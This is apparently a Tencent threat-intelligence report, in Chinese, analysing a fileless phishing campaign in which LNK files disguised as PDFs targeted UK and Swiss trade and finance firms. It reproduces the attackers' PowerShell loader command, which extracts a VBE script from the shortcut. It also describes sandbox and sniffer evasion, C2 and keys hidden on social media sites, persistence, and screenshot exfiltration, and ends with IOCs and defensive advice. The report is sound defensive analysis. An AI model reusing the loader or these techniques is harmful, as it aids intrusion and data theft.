使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

2018-12-14 09:33:59
腾讯御见威胁情报中心在日常的恶意文件运营中,发现了几个可疑的钓鱼lnk(伪装成快捷方式文件的攻击程序)。经过分析发现,这些lnk构造巧妙,全程无PE文件落地(Fileless攻击),并且把解密key和C2存放在了twitter、youtube等社交站点上。从关联到的样本来看,攻击针对英国、瑞士等欧洲国家,攻击目标为外贸、金融相关企业。

一、概述

近日,腾讯御见威胁情报中心在日常的恶意文件运营中,发现了几个可疑的钓鱼lnk(伪装成快捷方式文件的攻击程序)。经过分析发现,这些lnk构造巧妙,全程无PE文件落地(Fileless攻击),并且把解密keyC2存放在了twitteryoutube等社交站点上。

从关联到的样本来看,攻击针对英国、瑞士等欧洲国家,攻击目标为外贸、金融相关企业。暂时还不详具体的攻击者背景,望安全社区同仁一起来完善攻击的拼图。

APT组织攻击手法的一些特点:

  • 饵文件为压缩包中伪装成PDF文档的LNK文件(LNK默认是快捷方式,恶意程序执行后会打开一个欺骗性的PDF文件,这个组合极有欺骗性);
  • 攻击过程中,全程无PE文件落地,巧妙避开安全软件的常规检测;
  • 攻击程序会判断电脑是否安装网络嗅探工具(wiresharkNmap,通常为安全研究人员用于网络抓包分析),如果有,就不执行木马核心功能;
  • 通过youtubetwitterGooglewordpress.com的公共空间更新C2,存放解密代码;
  • 收集目标计算机名、杀毒软件信息、系统安全时间、系统版本等情报,定时截屏上传;
  • 检测是否存在虚拟机等特殊软件

二、技术分析

1、 攻击诱饵

本次攻击的诱饵是一个zip压缩包,名字为:Dubai_Lawyers_update_2018.zip,压缩报里包含2lnk文件:


lnk为攻击者精心构造的恶意lnk,点击运行lnk后,会触发执行包含的恶意代码:


其中,压缩包里的两个lnk的内容类似,我们以其中一个为例进行详细分析。

2、 lnk分析

运行lnk后,执行的恶意代码如下:

Cmd.exe "/c powershell -c "$m='A_Dhabi.pdf.lnk';$t=[environment]::getenvironmentvariable('tmp');cp $m $t\$m;$z=$t+'\'+@(gci -name $t $m -rec)[0];$a=gc $z|out-string;$q=$a[($a.length-2340)..$a.length];[io.file]::WriteAllbytes($t+'\.vbe',$q);CsCrIpT $t'\.vbe'"

该命令的主要功能为:

dubai.pdf.lnk文件复制到”%temp%”目录;

lnk文件结尾处往回2340字节的内容,写入“%temp%\.vbe“文件中;

利用cscript.exevbe给执行起来。

写入的.vbe文件为使用Encoded加密的脚本文件:


解密后内容如下:



3、 Vbe脚本分析

先将lnk文件从文件头开始,偏移为2334,大小为136848字节的内容写入“A_Dhabi.pdf”,该文件保存在temp目录,而该文件确实为一个pdf文件。接着打开该pdf文件,让受害者误以为只是简单得打开了一个正常的pdf文件而已:


打开的pdf文件如下:


接着将lnk文件中pdf文件之后的338459字节的内容,写入“%temp%\~.tmpF292.ps1”文件中,该文件为powershell脚本:


最后将接下来的读取位置写入”%temp%\~.tmpF293”文件中,并利用powershell将“~.tmpF292.ps1”文件给执行起来:


4、 ~.tmpF292.ps1分析

原始的ps1脚本是经过加密后的脚本:


经过解密后,发现两个特殊的明文字符串:

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industrys standard dummy text ever since the 1500s” 

when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries but also the leap into electronic typesetting remaining essentially unchanged.”

这两个字符串没有参与加密代码的计算,基本上没有任何意义。而使用搜索引擎搜索该字符后发现,该字符串是为了排版测试的:


加密的代码经过解密,代码逻辑就十分清晰了:


其中, $code = @""@部分为powershell里调用的c#方法,后面为powershell脚本命令。

powershell脚本的主要功能为:

1) 使用WMI,检测安全软件,包括AVGAVAST,若存在,则删除中间文件,然后退出;


2) 判断是否有wiresharkNmap,若存在,则不执行木马核心功能;


3) ~.tmpF293”文件中获取文件偏移,然后从lnk文件中读取信息,然后存入“%temp%\ ~.tmpF291”目录中,涉及到的文件名有~.tmpF222.tmp~.tmpF295.ico~.tmpF299.vbe;


4) 继续会从lnk中读取第二阶段的payload,并利用网上获取到的keypayload进行解密并执行。若网络不通未拿到key,就将第二阶段的payload以加密状态存储在“%temp%\ ~.tmp.e”文件中;


5) 如果“%temp%\ ~.tmp.e”文件存在,会利用从网络上获取的key去解密此文件,得到第二阶段的payload文件“~.tmpF294.ps1”,并执行此文件。


6) 获取解密keyurl,存储在tmpF222.tmp文件中:


获取到url如下:

https://youtu.be/40rHiF75z5o  https://brady4th.wordpress.com/2018/11/15/opener/ https://twitter.com/Fancy65716779

https://plus.google.com/u/0/collection/U84ZPF

然后,从这些url中获取相应的解密代码,其中:

“Yo bro i sing”字符串开始的位置为stage2 payloadc2

My keyboard doesnt work”开始的字符串为解密key




从文章的发表时间,我们猜测,真正的攻击开始时间发生在1115日和1118日。

7) 持久性攻击:在startup目录创建快捷方式,快捷方式会cscript.exe将“~.tmpF291“目录 中的” ~.tmpF299.vbe“文件给执行起来,快捷方式图标为” ~.tmpF295.ico


~.tmpF299.vbe”解密后内容如下:


5、 Stage2~.tmpF294.ps1)分析

~.tmpF294.ps1stage2的脚本文件,同样经过了加密,解密后可以发现与真正的c2通信等功能都在此ps脚本中。

1) 使用WMI命令收集相关计算机信息,然后以json格式发送给C2



收集的内容包括计算机名、机器名、杀软信息、系统安装时间、系统版本等。

格式中还包含“ace”、“dama”“king”“joker”等字样。

2) 检测虚拟机等特殊软件:



3) 检测wiresharkwinpcapNmap等特定软件是否安装

                       


4) twitteryoutubegooglewordpress等网站更新C2


5) 定时截屏并发送:



6) 执行C2下发的powershell脚本:


7) 隐藏“%temp%\~.tmpF291”目录,特殊的存储路径“AA36ED3F6A22”为ip存储路径、“E4DAFF315DFA”域名存储路径、“~.tmpF297.tmp”为c2下发的序列号存储路径。



8) 根据服务器指定修改定时截屏时的画面质量及频率:




三、关联分析

1、 样本拓线:

经过C2的反查,我们又查到找其余几个相同的样本:


Confirm.pdf.lnkd83f933b2a6c307e17438749eda29f02

Gift-18.pdf.lnk6f965640bc609f9c5b7fea181a2a83ca

而这两个lnk同样来自于一个zip压缩包:Gift-18.zip


经分析,这两个lnk跟分析的lnk为同一个攻击。

而压缩包中还包含了一张图片:


释放的pdf如下:


继续关联,我们又发现了另外2lnk

ecamos_Volatility_Strategy_2X.pdf.lnk540bc05130424301a8f0543e0240df1d

p2_ecamos_Volatility_Strategy_2X.pdf.lnk38b777dfd5f153609ad6ff8cff1bdedc

运行后,pdf内容如下:



我们猜测,该次攻击对象为瑞士的金融机构和贸易公司。

lnk获取解密keyurl为:

https://twitter.com/sabinepfeffer69/status/928607342177988608

https://mads281.wordpress.com

https://www.youtube.com/watch?v=ZRQ-1I856XA

跟上述分析的一致。

2、 攻击中的相关元素

1) 攻击的某个诱饵pdf来自于英国政府网站:https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/754075/Dubai_List_of_Lawyers_-_Nov_2018.pdf


2) 某个诱饵pdf里的图片里的公司的信息:


该图片来自:http://i68.tinypic.com/jtntyd.jpg

3) 存放解密信息的博客https://brady4th.wordpress.com中的第一条信息,引用了一句名人的话:


Izaak Walton为一个英国的作家

4) youtube中的电影

该电影为一个法国电影,被称为世界上第一部恐怖电影。


5) 此外还有不少字符串信息,如dubuk7damaAshley Bradybrady4thFancy65716779Pansy Radonsabinepfeffer69mads281The Obsidian Cloud Casino v1.0等。不过并未搜索和关联到更多的信息。

3、 攻击背景

从攻击对象来看,主要是英国、瑞士的相关外贸机构和金融机构。而攻击者角度来看,作者并未留下太多可追溯的确切证据。而从使用lnk钓鱼、fileless攻击的组织来看,似乎APT29更接近,不过暂未发现任何证据指向该组织。因此我们也希望更多安全社区同仁一起合作,来完善该次攻击的拼图。

四、安全建议

1. 不要打开不明来源的邮件附件;

2. 及时打系统补丁和重要软件的补丁;

3. 使用杀毒软件防御可能的病毒木马攻击;

4. 使用腾讯御界高级威胁检测系统。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。


五、附录(IOCs

MD5

e1718289718792651fa401c945c17079

3b359a0e279c4e8c5b781e0518320b46

6f965640bc609f9c5b7fea181a2a83ca

d83f933b2a6c307e17438749eda29f02

540bc05130424301a8f0543e0240df1d

38b777dfd5f153609ad6ff8cff1bdedc


IP

54.38.192.174


url

https://youtu.be/40rHiF75z5o 

https://brady4th.wordpress.com/2018/11/15/opener/

https://twitter.com/Fancy65716779

https://plus.google.com/u/0/collection/U84ZPF

https://twitter.com/sabinepfeffer69/status/928607342177988608

https://mads281.wordpress.com

https://www.youtube.com/watch?v=ZRQ-1I856XA

最新资讯